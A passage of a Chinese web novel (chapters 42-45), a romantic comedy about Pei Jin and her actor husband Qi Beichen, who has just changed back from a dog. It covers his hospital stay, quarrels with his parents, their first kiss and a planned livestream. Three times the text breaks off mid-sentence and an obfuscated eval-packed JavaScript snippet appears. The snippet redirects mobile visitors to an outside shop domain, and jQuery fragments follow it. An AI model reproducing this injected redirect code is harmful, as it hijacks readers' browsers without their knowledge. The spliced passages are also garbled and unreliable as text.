梅由谨:裴小姐今天大概又没开车吧?没有就算了,我等下亲自送他去医院,你下班直接来看他就好。 裴矜:那可太麻烦你了。 梅由谨:哎~谁让齐哥说我是开黑.店的?钱都收了,服务得到位,不然他回头又得控诉我店大欺客了。我去忙了,回聊。 梅由谨的动作很快,事实证明只要钱到位,他是最靠得住的那位神队友。 裴矜忙了一上午,梅由谨也忙了一上午。帮忙收拾变成人形的齐北宸,开车送他去医院办手续入住,陪他签字做各项检查,一点也没含糊。 梅由谨的鞍前马和定时汇报让裴矜舒心了不少。 时至下班,裴矜拿起包正准备锁上办公室的门,梅由谨的消息又来了。裴矜打开一看,当场冻结。 梅由谨:悲报,齐家父母现在正在贵宾病房训狗,裴小姐你自求多福吧! 42. 父慈子孝 裴矜低估了她这不按常理出牌的公婆出手速度。昨天还和她说改天再来,过去都没二十四小时就杀到齐北宸那儿去了,他们俩事先没串供,碰到一起还不得完蛋? 好在梅由谨还算机灵,在陪齐北宸检查的时候已经告诉了他裴矜发信息给他,但他没看的事。手受伤的齐北宸虽不能回消息,但大概事情经过已经心里有数。 收起手机,锁上门,裴矜才打完卡踏出公司,就被人喊住了。 “裴主任,你这急匆匆的是去哪儿?” 裴矜定睛一看,方铭背着包冲她一路小跑过来。 “去看我老公。” “嗯?居然不是回家,而是用‘看老公’三个字,看来有情况啊。”做了多年业务的方铭立马捕捉到了关键,“有需要我帮忙的吗?” 换作平时,裴矜一定拒绝。她昨天才品尝到公婆的厉害,自己那个半死不活的猪队友还在躺尸,这时候带方铭过去,也许会有奇效? 抱着死马当活马医,总比弃疗要有效地想法,裴矜隐去了齐北宸变狗的事实,拿出和梅由谨串通好的“拍戏不慎受伤”借口,告知她自己要去病房探望。 方铭闻言,一改嬉皮笑脸的样子,神情严肃:“那可是大事。走,搭我的车,我送你去。” 裴矜和方铭一路疾驰,路上裴矜之来得及告知方铭大概的情况,两人就到了医院。 梅由谨站在病房门口等待已久,看到裴矜还拖了个不认识的人过来,只是隐晦地暗示了一下“病房内火药味十足”便匆匆交接班走了。 眼力颇佳的方铭一眼瞧出了裴矜的用意:“主任,我咋感觉我被你给算计了?” 这可不是她算计方铭,是方大侠侠义心肠,上赶着要送她来,她不过是顺水推舟罢了。 和齐北宸待久了,裴矜的脸皮不知不觉越来越厚,她把门一推:“哪儿有,我算再准也不能算到下班你会喊我。” 门刚开了一条缝,里面传来激烈的争吵声。 “齐北宸,你厉害了,拍戏还能把自己摔骨裂?现在小甜饼剧还有动作戏了?” “死老头子,不去外国伺候我妈,跑我跟前发什么疯?” “睁大你的狗眼看清楚,你妈就在你面前。” “怎么?嫉妒我比你眼睛大?你那飘逸的长发里有多少是真货?” “别以为你受伤了我就不敢骂你,小兔崽子几天不打又皮痒了是吧?” “你骂啊,反正你也吵不过我,最后只能搬出没用亲爹的身份强行让我闭嘴,略略略~” 裴矜开门的手僵在把手上,进退不得。还是门里一路看戏吃瓜,全程不参与的齐母瞄到了门外的二人组,冲着裴矜招招手:“小裴啊,快进来。” 真不想进来,她能把方铭留在这儿,自己先开溜吗? 裴矜应了一声,推开门和方铭鱼贯而入。 比起走路像生锈机器人的裴矜,见惯了大场面的方铭要轻松自在得多。他一进门就把路上才买的水果篮放在床头柜,对着齐父齐母打招呼:“叔叔阿姨好,我是方铭,小齐的朋友。小齐,你怎么摔了啊?现在好点没?” 绷着脸的齐父一下安静了下来,和齐母一同对方铭点点头。 齐北宸眼角的余光扫向裴矜身后,确认除了方铭再无外人,才放松下来:“方哥,你咋来了?” “你还好意思说,要不是主任告诉我,我还不知道这事。” “告诉你干嘛,又不是什么大病,养几天就好了。” 齐家父母观察了一会儿方铭,忍不住问裴矜:“小裴,你和这位方先生是同事?” “对,他是我们公司业务部王牌。”裴矜见齐母一个劲地打量他,特意补了一句,“他现在还是单身贵族,之前因为我的缘故认识了阿宸,俩人一见如故。今天我下班过来路上碰到了他,他说什么都要跟着来,所以才耽搁了会儿。” 齐母听到“单身”二字眼睛亮了亮,她拉过余怒未消的齐父耳语了几句,齐父也和她咬起了耳朵。两个人窸窸窣窣探讨完后,对着方铭笑道:“不知道方先生今年贵庚?” 和齐北宸说话的方铭转过头来:“我今年三十二。” “年龄也合适。”齐母嘀咕了一句,微笑着邀请,“能不能请方先生移步?我和孩子他爸有事想和你单独谈谈。” “好,这边请。” 眼瞅着齐父瞪了齐北宸一眼跟着齐母和方铭离开,闹腾的病房一点点安静了下来。 床上的齐北宸脸上贴着纱布,手臂、腿上缠着绷带,左手依旧红肿,右手挂着点滴,嘴巴撅得老高。 多大人了还那么幼稚,生病不肯打点滴,还在病房和自己父亲呛声。 裴矜看在他是病人的份上不和他计较,放下包拉了把椅子坐下:“我听小梅说了你的情况了,这次变回来有没有感觉难受或者不舒服?” “不舒服,全身上下都不舒服,这里酸那里疼。” “是吗?我看你还挺精神的,在宠物店和兔子面对面练静坐,在医院和你爸顶嘴,哪儿像个伤员。” “那不一样,我是伤了手脚,又不是伤了嘴。” “既然没伤嘴,撅得老高是想干什么?” 齐北宸哼哼唧唧地抬了抬肿胀的左手:“我不想打针挂点滴,我想回家。” 他是小孩子吗? 裴矜白了齐北宸一眼,坚定地摇摇头:“不行,不打针不挂点滴就好不了,你要配合医生接受治疗。你该不会是因为这个和咱爸吵起来了吧?” 齐北宸不吭声,眼珠子乱转。裴矜更加笃定了自己的想法,语气加重:“老公,昨天你还答应我什么都听我的,今天就想食言?” “不是,老婆,我……”齐北宸小心翼翼地观察着裴矜的脸色,声音放得很轻,“我就是很不喜欢药水顺着管子流进来那种又冰又冷的感觉,我一个温血动物都快被灌成冷血动物了。 “每多一滴水流进来,我就觉得我身体的温度下降了一分,连说话都在往外嘶嘶冒冷气。”齐北宸苦菜花着一张脸,轻推裴矜,“老婆,你能不能和医生通融一下,让我回家静养?” 平时生龙活虎,一住院就变成小趴菜了。裴矜刮了下齐北宸的鼻子:“知道了,我回头问问医生。你想回家的心情我理解,但不能硬来,更不能和咱爸顶嘴。” 齐北宸眨眨眼:“好,我听老婆的,不和糟老头子吵。” “没大没小,不许喊爸爸糟老头子。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807241|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 好好,不喊就不喊。”齐北宸侧过身,左手手指在裴矜手背上画圈圈,“老婆,十几个小时没见到你,我好想你。你呢?有没有想我。” 酥麻的感觉顺着手背蔓延开来,裴矜瞥了眼他肿成猪蹄的手,没能下手捏着放回去。她转而挠小猫咪一样挠着齐北宸没受伤的下巴:“我啊,昨天一晚上在想,某种小坏狗白天笑人家兔子耳朵挂点滴输液,不知道轮到自己会变成什么样子。” 齐北宸配合地抬着下巴,眼睛盯着裴矜不放:“那你今天看到了。” “是啊,看到了。”裴矜捏着他的下巴轻轻摇了摇,“不出我所料,又皮又凶的,回家得好好扒掉这身小狗毛教育教育。” “咳。” “嗯哼。” 几道声音从裴矜的身后传来,吓得裴矜一动不敢动。 她梗着脖子转过头去,在外房讨论的三人组不知何时已经折返回来,三双眼睛都对着她和齐北宸行注目礼。 齐父是表现最淡定的那个,他双手插兜,冲着自己儿子挑起一边眉头。方铭一手扶墙,一手捂嘴,抖动的肩膀出卖了他此刻真实的想法。齐母最为直接,掏出手机对着裴矜和床上的亲生儿子就是一顿咔嚓。 天作孽犹可恕,自作孽不可活。 丢人丢到姥姥家,还是自己开的头,裴矜辩白的话堵在嗓子眼里不上不下,从牙齿缝里挤出一句:“你们谈完啦?” “嗯,暂时谈完了。”方铭放下捂嘴的手,清了清嗓子,“我们不是故意打扰主任的二人世界,你可以当我们不存在,请随意。” 那么多人围观,甚至都掏出手机拍照了,这天没法聊了! 裴矜扯了扯嘴角,站起身:“不用那么客气,正好我也想回家一次给阿宸带点换洗的衣服过来。” 话一出口,齐父便阻止了她:“小裴,你今天不用来回赶,有我和我老婆在,你明天再来。上班一天你也累了,回家好好休息去吧。” 齐北宸,你亲爹对你可以啊。嘴上骂归骂,到底还是自己的崽,还留下来陪。 “那我明天早点来。”裴矜离开前不忘提醒,“记得我的话,老公。” 齐北宸勉为其难地点点头:“好,老婆路上小心。” 哎,也不知道她听进去多少。 从医院出来天已经黑了大半。 当方铭提出要顺路送裴矜回家时,裴矜没有拒绝。 方铭是谁?齐北宸的狐朋狗友。薅不到病房里那只的狗毛,薅一把方铭的羊毛也好。 两人坐上车,方铭边开车边笑,上扬的嘴角比AK还难压。 “怎么回事,笑成那副德行。”裴矜明知故问,“难不成我婆婆给你介绍女朋友了?” 方铭语气轻快,眉目舒展:“嗯……也不能说百分百肯定,姑且试试看吧。” “这回又准备祸害哪家姑娘了,方组长?” “我哪儿有,主任你可别误信谗言。” 啊?难不成海王传言是假的? 裴矜横看竖看方铭那游刃有余的模样,怎么都不相信。 被盯得毛骨悚然的方铭方向盘差点打滑,叹了口气道:“别瞅了主任。实话告诉你,我被上一个女朋友甩掉都过了两年多了。” 43. 狗毛掸子 听到真相的那一刻,裴矜怀疑自己耳朵聋了。 一个天天嘴里没句实话,和谁都能勾肩搭背,喝酒像喝水的花花公子,私下居然会被女朋友给甩了?难道不该是他甩别人吗? 裴矜疑惑的眼神和突如其来的沉默让车厢里一度跌至冰点。热场王方铭把头发往后撸了一把才坦白:“我真没玩弄女性,是我之前那个女朋友劈腿了我们同公司的那个谁……名字我就不说了,他们俩人联合起来给我扣帽子。” “事情我后来和领导们都解释过了,他们要我注意私生活,但不知道怎么,我的海王人设屹立不倒,我苦啊。好不容易阿姨给我介绍个对象,买卖不成仁义在,我去见一面不能怎么着吧?” 他顿了顿又补充了句:“而且啊主任,我发现你也大概发现我不是那种浪荡公子哥,否则你一不会带我去病房探病,二也不会主动说我单身了吧?” 业务部王牌果然不是水货,这都被看出来了。 在这些日子的相处中,裴矜确实发现了方铭的另一面。至于他说的是不是真的,回头问问拿了她零食钱的那位情报中心便知真假。 方铭瞥了眼裴矜,见她没什么表情,转换了话题:“主任,现在就我们俩人,又聊到了感情话题,有句话我趁小齐不在得问问你。” “什么?” “你们部门的那个吕恪是啥情况?” 裴矜心里一紧,眉头不自觉紧凑了些许:“哦,差点忘了方组长先前出手相助,我代小吕谢谢你。” “不客气,可我要说的不是这件事。”方铭不依不饶地继续追问,“我真正想问的是,主任,你知道你被一条野狗给盯上了吗?” 话说得含蓄又粗糙,裴矜却明白了其中意思。她叹了口气,双目直视前方:“金陵岂是池中物,一朝遇水便化龙。” “路边的野狗可不是龙,那就是条虫,还是很难去除的寄生虫。主任,你该不会放着家里的人间富贵花吃腻了光吊着不管,转而去玩野花野草了吧?” 原来他是在担心这个,这算是触景生情?裴矜摆摆手:“谢谢提醒,家中多备打虫药。我这人胃口小,家里那个狗尾巴草就够我啃一辈子的了,野外的花花草草长得再美好也和我没关系。” 方铭轻佻地吹了声口哨,脸上挂着笑容:“哇哦,酷。” “没你厉害。齐北宸给了你多少贿.赂,你这样帮他打听?” “不一样,小齐是我兄弟,帮完了回头再宰回来就是了。” 这个方铭,嘴巴比齐北宸还厉害,难怪他们俩相逢恨晚。 两人闲聊了一阵,方铭把裴矜放在小区门口,临走前再三强调:“记得家中常备防虫网。祝你和小齐顺顺利利,小齐身体早日康复,走了。” 来是一阵风,去也是一阵风。裴矜好笑地摇摇头,回到家中。 病房里说要给齐北宸带换洗衣服并非说说而已,裴矜挑了几套舒适的内衣裤打包好,还捎上了他最爱的平板。 裴矜不打算今明两天都走个过场,她思前想后,把珍藏的小狗毛罐子一并带上。 周末一大早,风和日丽。 裴矜开着齐北宸的骚包红跑车来到医院,和公婆两人完成交接班踏入贵宾病房。 齐北宸皱着眉,正抗拒着护工的喂食服务,一瞅到裴矜来了,立马把碗一推:“老婆!你怎么来那么早?” “怕你一个人在病房无聊,早点来看你不好吗?”裴矜把路上刚刚买的皮蛋瘦肉粥和豆浆放在桌上,和护工点点头,“你先休息会儿,我有事再喊你。” 护工离开后,裴矜洗了个手坐在齐北宸床边上,把粥拿出来:“刚买的很新鲜,快趁热喝。” 齐北宸动了动消肿了一些但没完全恢复的左手:“老婆~” 真拿他没办法。 裴矜拿起勺子,吹凉了点,一口口喂到齐北宸嘴里。后者两只眼睛全程黏在裴矜的身上,喝一口笑一下。 傻乎乎的,不知道的还以为他是撞到脑子才入院的。 被盯着看久了也就习惯了,裴矜边喂边问:“今天好点没?有没有和咱爸吵架?” “报告老婆,好多了,没有和老爷子顶过嘴!” “点滴好好挂完了?” “嗯!没有脱过一次针!” “那么乖啊,看来得奖励你了。” 一听到有奖励,齐北宸的眼睛都瞪大了:“什么呀老婆?” 裴矜给他喂完早饭,插上吸管把豆浆放在他面前,从包里拿出齐北宸变成小狗时候都念念不忘的平板电脑:“就是这个啊。一个人在病房晚上很无聊吧?有平板就不一样了。” “多谢老婆,太好了!”齐北宸笑得比裴矜预想的还要灿烂,“我新剧昨天晚上就开播了,这里的电视不播放,手机屏幕太小看得我眼酸,没想到你今天就给我带来了!我要复盘一下。” 齐北宸的新剧不就是《失忆总裁契约妻2》吗?堂堂薄总本总当着她的面看自己出演的作品,那她到底是该看还是不看? 昨天还在方铭面前豪言壮语什么都说得出口,今天对上正主,裴矜连声音都不敢发。她拿出之前剩下的狗毛,强迫自己做手工转移注意力。 “诶,老婆,你把这个都带来了啊。”齐北宸对着裴矜努努嘴,咧嘴一笑,“这倒是提醒我了,你打开第二格抽屉看看。” 什么东西,还搞得神神秘秘的。 裴矜打开抽屉一看,是一罐崭新的毛,颜色和阿富汗猎犬时期齐北宸身上的毛色完全一致。 “我问小梅要的,断毛、沾了脏东西的都不要,除掉给小梅拿去做实验分析的,剩下都在这里了。”齐北宸的眼里写满了期待,“老婆,你说咱俩这算不算心有灵犀一点通?” 这么懂事?裴矜才不信。她笃定齐北宸现在一定憋了一肚子坏水,就等着她掉坑里。 “老公有心了。”裴矜郑重地收下这罐略小一点的狗毛罐子,紧接着试探道,“平白无故收老公的东西,不给老公做些什么,我老觉得过意不去啊。” “咱俩都是扯过证的夫妻了,计较这些做什么。”齐北宸假模假样地轻咳一声,眼睛止不住地扫向裴矜,“但是老婆执意要做,我也不好意思阻拦。老婆,你想做成什么呀?” 鱼儿上钩了。 裴太公笑得无比和蔼可亲:“做狗毛掸子啊。好久前就和老公说过的,你该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810658|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 会忘了吧?” 齐北宸瞳孔一震,他下意识看了裴矜脚上的鞋,头一歪嚎上了:“哎哟,老婆,我有点头疼。你慢慢做手工,我先拉片去了。” 和她斗,齐小狗修炼几年再说吧。 拿捏完老公的裴矜心情甚好,她打开两个罐子,精心筛选着狗毛。仗着座位地势有利,裴矜边捡边瞄,不声不响地偷看着新上架的短剧。 嗯~薄总新一季气场比上一季更足,虽然失忆时候像迷路小狗一样的薄总很美味,拼命回想记忆又杀伐果断的薄总也很迷人呢。 老吃家裴矜看得津津有味,手上的动作渐渐慢了下来,两只眼睛几乎要黏在平板屏幕上了也毫无知觉。直到旁边传来齐北宸克制不住的笑声,她才回过神来,收回眼神。 “你笑什么?” “噗……想笑就笑咯,笑笑也不行?” 切,敢妨碍她欣赏薄总的颜值,杀无赦!就是是演员本人都不行! 欣赏归欣赏,面子工程还是要做的。 裴矜眼皮一掀,手上拨弄着狗毛,眼睛收回来了些。她把挑选好的狗毛放在一起,开始做新的狗毛挂件:“行,当然行。中午让护工给你喂饭吧。” “诶,老婆,难道你原本打算中午也给我喂饭吗?老婆对我真好。” 一拳打在棉花上,论厚颜无耻,裴矜还不是齐北宸的对手,只得偃旗息鼓……才怪! 肌肉记忆带动着裴矜制作狗毛挂件,两只眼睛抓到机会就往平板上瞟。 齐北宸看裴矜一眼,裴矜就低头看挂件一眼。齐北宸不看裴矜的时候,裴矜抓紧时间能偷瞄多久就偷瞄多久。 病房成战场,夫妻俩的攻防拉锯战持续了许久,直至最新集数播完。 齐北宸拨弄着做到一半的狗毛挂件,表情纠结:“老婆,你确定你是在做狗毛掸子吗?怎么看上去像个不明球体。” 心思全拿来偷看薄总,裴矜可不想光明正大把这事暴.露给本尊。她拿着毛球晃了晃:“毛茸茸的不好看吗?市面上的鸡毛掸子千篇一律,我的狗毛掸子可是独一份。你欣赏不来就别乱说。” 齐北宸憋笑憋得整张脸通红:“是,我不懂,薄总懂就好了。老婆,需要我帮你接通薄总热线,问问他的想法吗?” 裴矜的假面碎裂了大半,丢下一句“我去给你拿午饭”故作潇洒地离去。 该死的齐北宸,又在拿她寻开心。等这掉毛狗回家了,看她不连本带利讨回来! 齐北宸的身体恢复速度很快,不过几天时间他已好了大半。除了手脚两处骨裂仍需静养,其余外伤都开始结痂了。 在医院没有说话的人,把齐北宸憋得难受。无意间听到医生和父母对话,他便吵着闹着要尽快出院,谁来劝都不好使。 住院短短一周,齐家父母就把儿子送回家,临走前嘱咐:“小裴,我们夫妻俩打算出去度假,转换下心情。要是宸宸不听你的话,你想怎么收拾他,爸妈都支持你。” 真夫妻就是那么甜,哪儿像她似的,天天只想用拖鞋招呼狗屁股。 送走公婆回到家,裴矜喊住了那个抬脚要进自己房间的男人:“你去哪儿啊?不录脸了吗?” 44. 第一个吻 瘸腿的齐北宸闻言一顿,转过身一瘸一拐地来到门口:“差点忘了我不在家的时候,咱家大门都换了。要录,当然要录,我可不想被老婆扫地出门当流浪狗。” 才出院就油嘴滑舌的,在医院里尽锻炼嘴皮子功夫了。 俩人折腾了一会儿才把齐北宸的脸和指纹录上,又和对面的张阿姨打了个招呼才进屋。 夏日的天一天比一天热,进门时没开空调,俩人都是一身汗。裴矜想洗澡凉爽一点,她看到齐北宸不方便的模样问了句:“医生说过你可以洗澡吗?” 齐北宸打开空调扯了扯衣领:“骨裂的两处都不能沾水,别的地方注意不碰到伤口可以擦一擦。不过……” “怎么了?” “就我现在手脚不便的样子,操作起来难度太大,还是算了吧。” 齐北宸的左手和右脚上还缠着绷带,裴矜见他走路时忽高忽低的样子心里总觉得变扭。她犹豫片刻后问:“你要是打盆水自己擦或许可以?” 齐北宸指了指自己背部:“其他地方倒不是问题,就是我看不到自己背,也很难够。” 裴矜自告奋勇:“我来吧。” 这下换成齐北宸瞪眼了:“啊?你?” “不行吗?” “没、没有。” “你拿好换洗衣服去浴室里待着,我烧些热水就来。” 齐北宸去自己房间,裴矜去了厨房。十分钟后,裴矜拿着一壶热水和空盆进来,一眼就看到了贴在墙角的齐北宸。 188的大高个把整个空间几乎占满,他双手反向搭在墙壁的瓷砖上,两只眼睛看哪儿都不敢看裴矜。 熟悉又滑稽的场景不禁让裴矜联想到前几次替狗狗形态的齐北宸洗澡的时候,她招招手:“过来啊,你站在那儿我怎么替你擦。” 齐北宸瓮声瓮气地应了一声,挪了几步出来。裴矜抓着他的T恤下摆,对他吩咐:“抬手。” 齐北宸像个任人摆弄的布娃娃乖乖抬手,左胳膊因为受伤动不了太大幅度,只能半挂在臂膀上由裴矜帮忙除下。 裴矜这才第一次看清齐北宸身上的伤痕,伤口不深已经结痂,横在齐北宸健美的体魄上尤为狰狞。 她指了指齐北宸胸口那道最大的划伤疤痕:“还疼吗?” 齐北宸愣了下,笑着摇摇头:“不疼了,小伤而已。” 他是狗狗的时候看不出,这伤的长度都超过十厘米了吧,怎么会不疼? 裴矜叹了口气,把热水混在冷水里搅匀了,试了下水温,才将毛巾打湿拧干交给齐北宸:“你一个演员,要靠形象吃饭的。脸上的还没好全,胸口还那么大一道,会不会影响你的商业价值?” 齐北宸擦完自己的腰腹,过了好一阵才问:“老婆是怕我这张脸破相了,就看不到你的薄总第三季了?” 死不正经的,她是担心他身体,他倒好,这个时候了还不忘调侃她! 裴矜眉峰一挑,抬起头正打算呵斥齐北宸几句,却撞上了他专注而热烈的视线。 那是比薄总看到他最喜欢的女主角时还要直接,也更为让人难以忽略的侵略性。 裴矜下意识想退后一步,齐北宸动作更快,轻轻握着她拿毛巾的手腕:“老婆,你看我现在是不是丑了?” 他要是丑了,那地球上的恐龙全该复活了。 避无可避,裴矜蠕动了几下嘴唇,憋出一句:“没有,你底子好。” “是吗?我怎么觉得多亏老婆照顾得好?不然我现在应该还在医院躺着吧。”齐北宸拉着裴矜的手放在自己脸上,顺手把毛巾丢在脸盆里,“老婆,你摸摸,我的脸有没有破相?” 脸破没破相是靠触感的吗? 裴矜被陡然接近的热源烫得一动不敢动,右手下是齐北宸和之前并无二般的皮肤,纱布拆除后,只有下巴到右耳的方向还有一道浅粉色的疤痕,不细看完全看不出来。 “没有。”裴矜声音轻得像蚊子叫,“你快放手啦。” “老婆,瞎说可不是好习惯,要看着我的眼睛。”齐北宸微微弯下腰,视线与裴矜齐平,“看我一眼嘛,老婆。” 近乎撒娇的语气让裴矜毫无办法,她匆匆瞥了一眼,就低下头:“看完了,没有破相,还挺上镜的。” 温热的气息不但没有散去,反而萦绕在耳边:“老婆你脸红的样子真好看。” 裴矜的耳朵一抖,手搭在他肩膀上,想用力又不敢真用力,生怕碰到他的伤口:“你干嘛啊,闹够没?” “没有,还想多闹闹老婆。” 齐北宸轻啄了一下裴矜的耳垂,很快松开。他高挺的鼻梁蹭着裴矜的脸颊,一路辗转,直至两人的眼底深处只剩下彼此。 “老婆。” “干嘛。” “为什么不敢看我?” “嫌你丑。” “你刚刚才夸我底子好。” “刚刚是刚刚,现在是现在。” “诶~这样啊。” 齐北宸的鼻梁顶着裴矜的来回轻蹭,像只和主人讨要奖励的小狗:“老婆是在鼓励我多表现吗?” 裴矜被他蹭得鼻尖微痒,他身上清爽的薄荷味轻柔地围绕在四周。很好闻又淡淡的味道,是齐北宸独有的气息。 “我可没这样说。” “那是我理解错误了?” 齐北宸抬起头,在裴矜的额头上落下一吻。 完全没有预料他会如此行动,裴矜的耳根发烫发热,双眼瞪得老大:“你……” 齐北宸右手轻笑着揉揉裴矜的发顶,又落下几个轻吻。 从额头到眉心,从眉心到鼻尖,薄荷醇的味道进一步在空气中发酵,透过皮肤逐渐渗入。 一种被清爽又浓烈的辣椒素冲击的极致体验。 背后是冰凉的瓷砖,身前是黏糊糊的大号病狗。裴矜红唇微开,双眼半眯,感受着齐北宸的近距离接触,后者却在此时不着痕迹地拉开了距离。 “咳,抱歉老婆,是我失态了。”齐北宸清了清嗓子,他维持着两人间不到几公分的距离,嘴角勾起一抹不易察觉的痞笑,“我们继续擦身吧,不然水该冷了。” 沉浸式体验到一半被紧急叫停,裴矜倏地一下睁开双眼。 他就这么停下来?在这么关键的时候猛踩刹车?齐北宸,你是在小梅屋被梅由谨偷摸做了绝育手术了吗?临门一脚居然想开溜?门都没有! “等下,谁准许你停了?”裴矜气呼呼地掰过齐北宸的脖子,不让他避开,“你自己开的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815933|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,难道不该自己负责?” 齐北宸抚摸着她的手背:“嗯……那老婆想让我怎么负责?” 这狗东西故意装傻吊她胃口! 被吊在半空中不上不下,心中一口气难出。裴矜眼睛一闭,搂着齐北宸的脖子就往上撞。 一道无形的力量阻止了她的蛮力冲撞,接着一声闷笑隔着衣物透过胸腔传来。 “老婆,你那么用力可不行,会磕到牙的。” 双手被微调了下放置的地方,裴矜的思绪在飘远前只听到齐北宸含糊不清的一句话。 “我们的初吻,得留下个美好的记忆才行。” 薄荷的清甜味在嘴里扩散开来,清爽不黏腻。冰凉与灼热的触感在舌尖交融,回甘绵延,比苦涩的茶味多了一丝别样的刺激感。 水盆里的水早就凉透了,毛巾孤零零地躺在里面。 一吻结束,裴矜半倚在墙上平复着剧烈的心跳,齐北宸的右手抚去她不小心吃进嘴里的发丝,同样心跳如雷。 两人都没说话,不经意间的对视让他们同时轻笑出声。 齐北宸的声音略带沙哑:“老婆,我第一次办理这项业务,请你不要嫌弃。” 裴矜笑着揉揉他的脸:“难怪服务那么不到家,看来以后我得多来光顾几回。” “好啊,欢迎裴主任多多光顾,要是能顺便指导一下我的业务就更好了。”齐北宸俏皮地眨眨眼,“那裴主任现在打算要继续办理业务吗?” 死相,才亲过就想来第二回,她可没那么容易答应。 “办,但我现在要办的是另一项业务。” 裴矜轻拍了他肩膀一下,把水盆里的冷水倒掉,添了热水,把毛巾搓干净,替齐北宸擦背。 齐北宸单手撑着瓷砖乖乖配合,裴矜边替他擦边打量着。 看片子还以为他是精瘦那一款,没想到还挺壮的。手指在饱满的肌肉上轻点一下便留下浅浅的凹痕,裴矜更确定齐北宸是个易胖体质。 难怪每次早饭都硬核得像化学实验室产物,原来他是在控制热量摄入。不过还是有点肉肉的肌肉摸起来手感棒,像齐北宸这款就很好。 裴矜丝毫没有顾及齐小狗的立场,一路擦擦摸摸,鉴定了许久才放手。等她大功告成,齐北宸单手捂脸,一副不敢看她的模样。 前面要亲亲的时候不是还挺主动的,这会儿又变成小娇狗模式了? 裴矜没忍住调侃了一句:“你害羞什么?我都没脸红,你还扭捏起来了。” 齐北宸双手交叠放在前面,支支吾吾不敢大声说话:“老婆,差不多就够了。剩下我自己来。” 裴矜顺着他的方向望去,瞬间明白了什么,几分钟前退下的热度又一次攀爬而上:“哦,那你慢慢来,有需要喊我。” “好,谢谢老婆。” 有老婆疼的小狗最幸福。 回到家转眼已过了一个双休日。自打浴室初吻事件后,小夫妻俩人间的粉红泡泡不断。每次帮齐北宸擦身,到最后总会发展成一样的结果,裴矜有回没克制住,在他肩膀上掐出俩印子,齐北宸反而笑得贼欢。 讨厌鬼,尽会占她便宜。 再甜蜜的小夜曲也有画上休止符的时候,齐北宸的经纪人打电话来了。 45. 直播事故 “喂,哥,是我。”齐北宸接起电话随意地和经纪人交流着,“嗯,知道。那事是真的,对,我老婆去派出所报案了。这事我也考虑过,你的建议是?” 齐北宸单手握着手机,沉默着听完后点点头:“可以,给我一点时间,我要和我太太沟通一下,回头和你联系。谢谢哥,再见。” 尽管只有零星几个字眼,裴矜还是准确捕捉到了关键点。 齐北宸挂了电话,裴矜给他拿过来梅由谨才送来的药和水杯:“是不是咱家之前遭私生饭那事?” 齐北宸就着水吞下药:“还是老婆大人聪明。我之前住院养伤,经纪人老哥不好意思打扰我,现在我出院了,他建议我尽早澄清,不然会对我的事业有影响。” 听齐北宸这样说,裴矜也跟着认真了起来。 他们俩人平时都不喜欢过多干涉对方的私生活,哪怕这两天温度上升黏糊糊的,也没多嘴问过什么。 齐北宸糊归糊,要是因为那个黑衣男把自己事业搭进去可就得不偿失了。 裴主任的商业雷达滴滴作响,她立即响应:“你打算怎么做?我会尽我可能配合你。” “最简单的方法就是直播。” “对,直播。而且是我和你同框一起直播。” 裴矜有些为难,直播意味着她要暴.露自己真实的长相信息在公众面前,而她并非喜欢在网上和不熟的网友产生过多交流的那类人。 “没事,老婆,我不会让你暴.露长相,也不需要你自我介绍。”齐北宸轻轻拍了拍裴矜的肩膀,“你可以戴上墨镜和口罩,然后说你是圈外素人,证明你是我老婆就好。” 裴矜这才放松了下来,点点头:“这不难,口罩墨镜家里都有。那私生饭的事你想怎么说?” “民警怎么和你说的,我们就怎么和公众说。”齐北宸早有主张,他拿出手机给裴矜看自己准备好的素材,“报案回执上把涉及人名隐私的部分打码处理,我会先放在网上压一下热度,然后做个预告。” “经纪人那边已经公关好久了,我本来也糊,又在养伤,就没和你提这事。现在既然老婆你愿意配合,我还是想尽快把这事彻底解决,以免夜长梦多。” 裴矜回忆起齐北宸在病房时为数不多的电话和频繁的消息,选择相信他的判断:“好,我听你的。要直播了你提前告诉我,我会尽力配合你的。” 齐北宸盯着裴矜看了许久,叹了口气:“不好意思老婆,给你添麻烦了。” 裴矜洗了个苹果开始啃:“你给我添麻烦又不是一次两次了,我要是真嫌弃你,姐姐送给你的金碗早该派上用处了。” 齐北宸闻言大笑,伸出拳头:“说的也是,那先预祝我们成功?” 裴矜也伸出拳头和他轻轻碰了一下:“合作愉快,齐演员。” 夫妻俩的会谈短暂有力,第二天裴矜上班时,脑子里依旧思绪翻飞。 裴矜从不追星,微博之类的社交软件她大多是拿来看新闻和视频的,鲜少关注明星相关话题。但今天不一样,她现在是名正言顺的齐太太,家里发生了那么大的事,也得学着去看看网上的风向标。 